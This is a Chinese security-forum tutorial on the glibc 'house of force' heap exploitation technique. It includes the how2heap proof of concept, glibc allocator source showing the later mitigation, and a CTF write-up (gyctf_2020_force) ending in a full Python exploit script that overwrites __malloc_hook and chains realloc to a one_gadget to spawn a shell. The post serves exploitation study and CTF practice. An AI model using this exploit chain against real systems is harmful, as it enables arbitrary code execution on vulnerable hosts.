吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4018|回复: 9
收起左侧

[系统底层] 堆利用学习:the house of force

  [复制链接]
kn0sky 发表于 2024-1-8 14:18
本帖最后由 kn0sky 于 2024-1-8 14:55 编辑

简介

介绍部分,来自参考资料[0]

漏洞成因

堆溢出写 top_chunk

适用范围

  • 2.23——2.29
  • 可分配任意大小的 chunk
  • 需要泄露或已知要操作的目标地址

利用原理

top_chunk 的利用,过程如下:

  • 申请 chunk A
  • A 的时候溢出,修改 top_chunksize 为很大的数
  • 分配很大的 chunk 到任意已知地址(可能需要通过整数溢出指针的形式)

相关技巧

注意,在 glibc-2.29 后加入了检测,house of force 基本失效:

在申请内存的时候进行检查的(_int_malloc):

// 申请的大小如果超过系统内存,报错
if (__glibc_unlikely(size > av->system_mem))
        malloc_printerr("malloc(): corrupted top size");

利用效果

  • 任意地址分配
  • 任意地址读写

实验:how2heap

/*

   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum 
   ( http://phrack.org/issues/66/10.html )

   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04

*/

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
        fprintf(stderr, "\nWelcome to the House of Force\n\n");
        fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
        fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
                "and is the chunk that will be resized when malloc asks for more space from the os.\n");

        fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
        fprintf(stderr, "Its current value is: %s\n", bss_var);

        fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
        intptr_t *p1 = malloc(256);
        fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

        fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
        int real_size = malloc_usable_size(p1);
        fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

        fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

        //----- VULNERABILITY ----
        intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
        fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

        fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
        fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
        *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
        fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
        //------------------------

        fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
           "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
           "overflow) and will then be able to allocate a chunk right over the desired region.\n");

        /*
         * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
         * new_top = old_top + nb
         * nb = new_top - old_top
         * req + 2sizeof(long) = new_top - old_top
         * req = new_top - old_top - 2sizeof(long)
         * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
         * req = dest - old_top - 4*sizeof(long)
         */
        unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
        fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
           "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
        void *new_ptr = malloc(evil_size);
        fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

        void* ctr_chunk = malloc(100);
        fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
        fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
        fprintf(stderr, "Now, we can finally overwrite that value:\n");

        fprintf(stderr, "... old string: %s\n", bss_var);
        fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
        strcpy(ctr_chunk, "YEAH!!!");
        fprintf(stderr, "... new string: %s\n", bss_var);

        assert(ctr_chunk == bss_var);

        // some further discussion:
        //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
        //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
        //        "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
        //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
        //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
        //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
        //        "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

        //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
        //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

        //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

我这没得libc 2.23的编译环境,就懒得弄了,这个手法在新版本也失效了,这里就调试到最后一步申请之前,因为安全检查是在malloc从top去申请的时候才进行

首先申请内存,然后覆盖top指针为很大的数:

0x555555559290  0x0000000000000000      0x0000000000000111      ................
0x5555555592a0  0x0000000000000000      0x0000000000000000      ................
0x5555555592b0  0x0000000000000000      0x0000000000000000      ................
0x5555555592c0  0x0000000000000000      0x0000000000000000      ................
0x5555555592d0  0x0000000000000000      0x0000000000000000      ................
0x5555555592e0  0x0000000000000000      0x0000000000000000      ................
0x5555555592f0  0x0000000000000000      0x0000000000000000      ................
0x555555559300  0x0000000000000000      0x0000000000000000      ................
0x555555559310  0x0000000000000000      0x0000000000000000      ................
0x555555559320  0x0000000000000000      0x0000000000000000      ................
0x555555559330  0x0000000000000000      0x0000000000000000      ................
0x555555559340  0x0000000000000000      0x0000000000000000      ................
0x555555559350  0x0000000000000000      0x0000000000000000      ................
0x555555559360  0x0000000000000000      0x0000000000000000      ................
0x555555559370  0x0000000000000000      0x0000000000000000      ................
0x555555559380  0x0000000000000000      0x0000000000000000      ................
0x555555559390  0x0000000000000000      0x0000000000000000      ................

0x5555555593a0  0x0000000000000000      0xffffffffffffffff      ................         <-- Top chunk

然后构造很大的申请请求:

────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/selph/ctf/how2heap/glibc_2.23/house_of_force/house_of_force.c
   64          * req = new_top - old_top - 2sizeof(long)
   65          * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
   66          * req = dest - old_top - 4*sizeof(long)
   67          */
   68         unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
 ► 69         fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
   70            "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
   71         void *new_ptr = malloc(evil_size);
   72         fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
   73
   74         void* ctr_chunk = malloc(100);
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p/x evil_size
$2 = 0xffffffffffffec60

在没有这个检查的情况下,会从top进行切割,就是top大小减去申请大小,之后的位置就是新的top指针:

        if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
        {
            remainder_size = size - nb;
            remainder = chunk_at_offset(victim, nb);
            av->top = remainder;
            set_head(victim, nb | PREV_INUSE |
                                 (av != &main_arena ? NON_MAIN_ARENA : 0));
            set_head(remainder, remainder_size | PREV_INUSE);

            check_malloced_chunk(av, victim, nb);
            void *p = chunk2mem(victim);
            alloc_perturb(p, bytes);
            return p;
        }

top chunk是如何切割分配的,这个过程是什么?

以2.35源码为例:

    use_top:
        /* 如果足够大,分割top chunk 
           If large enough, split off the chunk bordering the end of memory
           (held in av->top). Note that this is in accord with the best-fit
           search rule.  In effect, av->top is treated as larger (and thus
           less well fitting) than any other available chunk since it can
           be extended to be as large as necessary (up to system
           limitations).
           top指针需要始终存在
           We require that av->top always exists (i.e., has size >=
           MINSIZE) after initialization, so if it would otherwise be
           exhausted by current request, it is replenished. (The main
           reason for ensuring it exists is that we may need MINSIZE space
           to put in fenceposts in sysmalloc.)
         */
        // 获取top指针,计算chunk大小
        victim = av->top;
        size = chunksize(victim);
        // 申请的大小如果超过系统内存,报错
        if (__glibc_unlikely(size > av->system_mem))
            malloc_printerr("malloc(): corrupted top size");
        // 如果top chunk大小超过申请大小,继续
        if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
        {
            // 计算剩余大小,设置给top指针
            remainder_size = size - nb;
            remainder = chunk_at_offset(victim, nb);
            av->top = remainder;
            // 设置目标header,设置prev_inuse位
            set_head(victim, nb | PREV_INUSE |
                                 (av != &main_arena ? NON_MAIN_ARENA : 0));
            // 设置新的top指针
            set_head(remainder, remainder_size | PREV_INUSE);

            check_malloced_chunk(av, victim, nb);
            // 计算内存地址,返回
            void *p = chunk2mem(victim);
            alloc_perturb(p, bytes);
            return p;
        }

        /* When we are using atomic ops to free fast chunks we can get
           here for all block sizes.  */
        // 当使用原子操作来释放fast chunk,我们可以获取所有块大小
        else if (atomic_load_relaxed(&av->have_fastchunks))
        {
            malloc_consolidate(av); // 合并操作
            /* restore original bin index */
            if (in_smallbin_range(nb))
                idx = smallbin_index(nb);
            else
                idx = largebin_index(nb);
        }

        /*
           Otherwise, relay to handle system-dependent cases
           否则,调用sysmalloc来处理
         */
        else
        {
            void *p = sysmalloc(nb, av);
            if (p != NULL)
                alloc_perturb(p, bytes);
            return p;
        }

当tcachebin,fastbin,smallbin,largebin,unsortedbin都没法是用的时候哦,会来到这里进行分配内存

  • 安全检查:是否大小超过系统内存,超过了报错

    • 缓解 house of force 利用手法(覆盖top size,申请过大内存导致地址整数溢出,使得下一个chunk会被分配到任意地址)
  • 如果大小超过最小大小

    • 切割top chunk来分配新的chunk出来
  • 如果使用原子操作释放fast chunk(不太清楚)

    • 堆块合并操作
  • 否则,使用系统调用进行申请

原理很简单,具体实操看下面的题目吧

实验:buuctf - gyctf_2020_force

实验环境:libc2.23

题目分析:

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  __int64 v3; // rax
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  memset(s, 255, sizeof(s));
  while ( 1 )
  {
    memset(s, 255, sizeof(s));
    puts("1:add");
    puts("2:puts");
    read(0, nptr, 0xFuLL);
    v3 = atol(nptr);
    if ( v3 == 1 )
    {
      sub_A20();        // add
    }
    else if ( v3 == 2 )
    {
      sub_B92();        // puts
    }
  }
}

add:

这里申请大小可控,输入内容长度为写死的0x50字节,可造成堆溢出写

每次申请完内存会给出申请的内存地址,堆地址泄露

unsigned __int64 add()
{
  const void **i; // [rsp+0h] [rbp-120h]
  __int64 size; // [rsp+8h] [rbp-118h]
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 255, sizeof(s));
  for ( i = (const void **)&unk_202080; *i; ++i )
    ;
  if ( (char *)i - (char *)&unk_202080 > 39 )
    exit(0);
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *i = malloc(size);
  if ( !*i )
    exit(0);
  printf("bin addr %p\n", *i);
  puts("content");
  read(0, (void *)*i, 0x50uLL);
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

the house of force

小知识点:申请超过top chunk大小的内存,或者在arena初始化之前申请大内存,会使用sysmalloc来申请映射内存,与libc有固定偏移,可以用来泄露libc地址

修改top指针为最大值

计算偏移,当前top指针到__malloc_hook的偏移,然后覆盖one_gadget上去即可:

但是这里存在一个问题,就是one_gadget用不了,因为栈上的地址不可用,这里就可以通过realloc来调整栈空间,使得变得可用,下面写为啥可以这么做

先给出完整exp:

from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

one_gadgets: list = get_current_one_gadget_from_libc(more=False)
#CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def cmd(i, prompt='puts\n'):
    sla(prompt, i)

def add(nb,content):
    cmd('1')
    sla('size\n',str(nb))
    ru('bin addr ')
    addr = rl()[:-1].decode()
    addr = int(addr,16)
    sla('content\n',content)
    ru('done\n')
    return addr
    #......

def show():
    cmd('2')
    return rl()[:-1]
    #......

# the house of force

a1 = add(0x21000,'a')
log.info(f"a1 => {hex(a1)}")

libc.address = a1 -0x5ca010
log.success(f'libc addr => {hex(libc.address)}')

heap_leak = add(0x18,flat({
    0x18:0xffffffffffffffff
}))

malloc_size = libc.sym.__malloc_hook -0x10 - (heap_leak+0x20) -0x10
add(malloc_size,'b')

add(0x18,flat({

    0x08:pack(libc.address + one_gadgets[0]),
    0x10:pack(libc.sym.realloc + 0x10)
    }))

#pause()

cmd('1')
sla('size\n',str(0x10))
sl('w')

ia()

通过realloc调整栈空间来使用one_gadget

首先是两个hook的位置:是紧挨着的,可以同时给二者赋值

pwndbg> x/xg &__malloc_hook
0x7f2d24a2fb10 <__malloc_hook>:                 0x00007f2d246ef720
pwndbg> x/xg &__malloc_hook-1
0x7f2d24a2fb08 <__realloc_hook>:        0x00007f2d246b027a

调用realloc的时候,会去检查realloc hook函数的值,不为空就调用:

.text:0000000000084710 realloc         proc near               ; CODE XREF: _realloc↑j
.text:0000000000084710                                         ; DATA XREF: LOAD:0000000000006BA0↑o ...
.text:0000000000084710
.text:0000000000084710 var_60          = qword ptr -60h
.text:0000000000084710 var_58          = byte ptr -58h
.text:0000000000084710 var_48          = byte ptr -48h
.text:0000000000084710
.text:0000000000084710 ; __unwind {
.text:0000000000084710                 push    r15             ; Alternative name is '__libc_realloc'
.text:0000000000084712                 push    r14
.text:0000000000084714                 push    r13
.text:0000000000084716                 push    r12
.text:0000000000084718                 mov     r12, rsi
.text:000000000008471B                 push    rbp
.text:000000000008471C                 push    rbx
.text:000000000008471D                 mov     rbx, rdi
.text:0000000000084720                 sub     rsp, 38h
.text:0000000000084724                 mov     rax, cs:__realloc_hook_ptr
.text:000000000008472B                 mov     rax, [rax]
.text:000000000008472E                 test    rax, rax
.text:0000000000084731                 jnz     loc_84958

...

.text:0000000000084958 loc_84958:                              ; CODE XREF: realloc+21↑j
.text:0000000000084958                 mov     rdx, [rsp+68h]
.text:000000000008495D                 call    rax
.text:000000000008495F                 mov     rbp, rax
.text:0000000000084962                 jmp     loc_847E5

realloc+0x10的位置,是sub rsp, 38h,可以提供0x38字节可用栈空间

one gadget的约束:

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

刚好需要rsp+0x30可用,从而使得one gadget可用

流程就是,malloc,进入malloc hook,malloc hook的值是realloc+0x10,realloc hook的值是one gadget,就是这么一条链

参考资料

免费评分

参与人数 3威望 +2 吾爱币 +103 热心值 +3 收起 理由
iTMZhang + 1 + 1 用心讨论,共获提升!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

APWN 发表于 2024-1-9 11:41
谢谢楼主,先收藏学习!之后学习2进制安全时大有作用!
KamisatoAyaka 发表于 2024-1-9 13:49
ly433055 发表于 2024-1-22 20:15
jsncy 发表于 2024-1-26 14:13
谢谢分享。
ublackworld 发表于 2024-2-23 16:56
非常感谢分享
nilao 发表于 2024-3-17 18:24
        谢谢@Thanks!
zhu0829 发表于 2024-3-20 16:59
赞。感谢
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-12-22 00:41

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表